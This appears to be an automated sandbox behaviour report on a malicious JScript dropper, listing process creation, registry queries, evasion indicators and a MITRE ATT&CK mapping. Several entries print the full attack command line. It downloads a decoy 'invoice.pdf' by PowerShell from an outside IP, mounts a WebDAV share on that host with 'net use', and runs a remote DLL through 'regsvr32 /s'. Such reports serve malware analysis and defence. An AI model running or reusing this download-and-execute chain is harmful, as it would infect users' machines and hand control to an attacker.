Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5670.js.csv");ITextStream.WriteLine(" entry:7490 f:lnpwawcam");ITextStream.WriteLine(" exec:2 f:lnpwawcam");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4727			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5151			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4784	Thread sleep count: 4727 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4784	Thread sleep count: 5151 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2748	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3460	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4084	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2171332403.000002D10D89C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: net.exe, 00000007.00000002.2171332403.000002D10D89C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171332403.000002D10D838000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3409503388.00000158B4458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3406333028.00000158AEE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
